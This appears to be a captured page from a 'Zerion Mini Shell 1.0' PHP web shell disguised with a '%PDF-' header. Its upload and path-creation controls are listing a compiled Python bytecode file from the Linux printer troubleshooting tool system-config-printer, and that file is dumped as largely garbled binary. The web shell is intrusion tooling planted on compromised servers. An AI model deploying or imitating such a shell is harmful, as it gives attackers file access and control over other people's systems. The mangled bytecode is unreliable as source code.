%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/system-config-printer/troubleshoot/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/system-config-printer/troubleshoot/__pycache__/CheckPPDSanity.cpython-312.pyc

�

Hf���t�ddlmZddlZddlZddlZddlZddlZddlmZm	Z	ddl
�ddlmZGd�de
�Zy)	�)�GtkN)�TimedOperation�TimedSubprocess�)�*)�reducec�6�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	y)	�CheckPPDSanityc��tj||d�tj�}|j	d�|jd�tj�|_|jjd�|jjd�|jjdd�|j|jddd�tj�}|jtjj�tj j#t%d��|_|j)|j&�|j|ddd�|j+||�y)NzCheck PPD sanity�TrF�Install)�Question�__init__r�VBox�set_border_width�set_spacing�Label�label�
set_line_wrap�set_use_markup�
set_alignment�
pack_start�
HButtonBox�
set_layout�ButtonBoxStyle�START�Button�new_with_label�_�install_button�add�new_page)�self�troubleshooter�vbox�boxs    �?/usr/share/system-config-printer/troubleshoot/CheckPPDSanity.pyrzCheckPPDSanity.__init__#s�����4��1C�D��x�x�{�����r�"����"���Y�Y�\��
��
�
� � �$�'��
�
�!�!�4�(��
�
� � �!�Q�'�������U�E�1�5��n�n�������*�*�0�0�1�!�j�j�7�7��9��F�������$�$�%�
	
����e�U�A�.�����t�,�c	�^�i|_|jj}|dsy|jj�}|d}d}	tjd�ttj|��|_|jj�}t|j|f|��|_|jj�}|jj�d}d}	tj|�}d|jd<d	�}	i}
|jD]S}|	|j �}|j"D]!}
|	|
j �||
j$<�#||
|j$<�U|
|jd
<|rt5j6|�|��|ds�t9j:�\}}||f|jd<t=|�dkDst=|�dkDr�t'd�}t=|�dkDr	t?j@�|_!t=|�dkDr?|d|_"t'd�||jDfz}|jjG�nt'd�|||zdfz}|�$|jHjKd|zdz|z�|duS#t$rYytj$rYywxYw#t$r�t'd�}d|jd<	t)|dd
|gdt*j,t*j.t*j.��|_|jj�}||jd<t'd�|z}|dt1d�|d�zz
}n#t2$rt'd�|z}YnwxYwY��wxYw#g}Y���xYw)N�cups_queue_listedF�
cups_queue�)�parent)�argsr-T�cups_printer_ppd_validc�J�i}|D]}|j||j<�|S�N)�	defchoice�keyword)�options_list�o�options   r'�optionsz'CheckPPDSanity.display.<locals>.optionsVs/����*�9�F�(.�(8�(8�A�f�n�n�%�9��r(�cups_printer_ppd_defaultszInvalid PPD File�cupstestppdz-rvv)r-r.�	close_fds�stdin�stdout�stderr�cupstestppd_outputz^The PPD file for printer '%s' does not conform to the specification.  Possible reason follows:�
c��|dz|zS)Nr?�)�x�ys  r'�<lambda>z(CheckPPDSanity.display.<locals>.<lambda>rs��A��H�q�L�r(rz6There is a problem with the PPD file for printer '%s'.�cups_printer_remote�missing_pkgs_and_exeszMissing Printer DriverzGPrinter '%s' requires the %s package but it is not currently installed.zIPrinter '%s' requires the '%s' program but it is not currently installed.z"<span weight="bold" size="larger">z	</span>

)&�answersr$�
get_window�cups�	setServerr�
Connection�op�run�getPPD�RuntimeError�IPPErrorr �hide�PPD�optionGroupsr7�	subgroups�namerr�
subprocess�DEVNULL�PIPEr�OSError�os�unlink�cupshelpers�missingPackagesAndExecutables�len�installpackage�
PackageKit�
packagekit�package�showr�
set_markup)r#rGr-rU�tmpf�c�title�text�ppdr7�defaults�group�g�subgroup�result�pkgs�exess                 r'�displayzCheckPPDSanity.display:s�������%�%�-�-���*�+���$�$�/�/�2���|�$����		��N�N�B��$�d�o�o�f�E�D�G�������A�$�a�h�h�d�W�V�L�D�G��7�7�;�;�>�D�	
��� � �#�����$	1��(�(�D�/�C�59�D�L�L�1�2�
��H��)�)�
)���U�]�]�+�� %���B�H�'.��0@�0@�'A�A�h�m�m�$�B�'(�����$�	
)�
9A�D�L�L�4�5�,��I�I�t���=��)>�!?�&�D�D�c�J�L�T�4�59�4�L�D�L�L�0�1��D�z�A�~��d��a���2�3����:��>�"�*8�*C�*C�*F�����:��>�#'��7�D�L��;�<�?C�?C�|�|�?M�M�D��'�'�,�,�/��;�<�?C�@D�t��Q�?O�?Q�Q�D����J�J�!�!�#G�#(�$)�+8�$9�;?�$@�
A��D� � ��W�	���}�}�	��	��.�	1��(�)�E�5:�D�L�L�1�2�
1�)�&�1>���0M�59�1;�1C�1C�2<�/�/�2<�/�/�C����������5;����1�2��4�5�7;�<����v�'@�&��)�L�L�L����
1��)�*�,0�1��
1��!	1��@"�!��s]�BJ)�,BK�N%�)	K	�4K	�K	�#N"�0BN�N"�N�N"�N�N"�!N"�%N,c�Z�|jjd|j�|_y)N�clicked)r �connect�install_clicked�button_sigid)r#�handles  r'�connect_signalszCheckPPDSanity.connect_signals�s'�� �/�/�7�7��9=�9M�9M�O��r(c�N�|jj|j�yr1)r �
disconnectrv�r#s r'�disconnect_signalsz!CheckPPDSanity.disconnect_signals�s�����&�&��(9�(9�:r(c��|jSr1)rGr{s r'�collect_answerzCheckPPDSanity.collect_answer�s���|�|�r(c�8�|jj�yr1)rL�cancelr{s r'�cancel_operationzCheckPPDSanity.cancel_operation�s�������r(c���|jjdg�}|j|j�||jd<	|jjdd|j�y#YyxYw)N�packages_installedr)rG�get�appendrbra�InstallPackageName)r#�buttonros   r'ruzCheckPPDSanity.install_clicked�sa���|�|��� 4�b�9�����T�\�\�"�-1����)�*�	��O�O�.�.��1�d�l�l�C��	��s�'A0�0A4N)
�__name__�
__module__�__qualname__rrqrxr|r~r�rurAr(r'r
r
"s(��-�.[!�zO�;���r(r
)�
gi.repositoryrrIr\r_rZrV�timedopsrr�base�	functoolsrrr
rAr(r'�<module>r�s0��.����	��4���I�X�Ir(

Zerion Mini Shell 1.0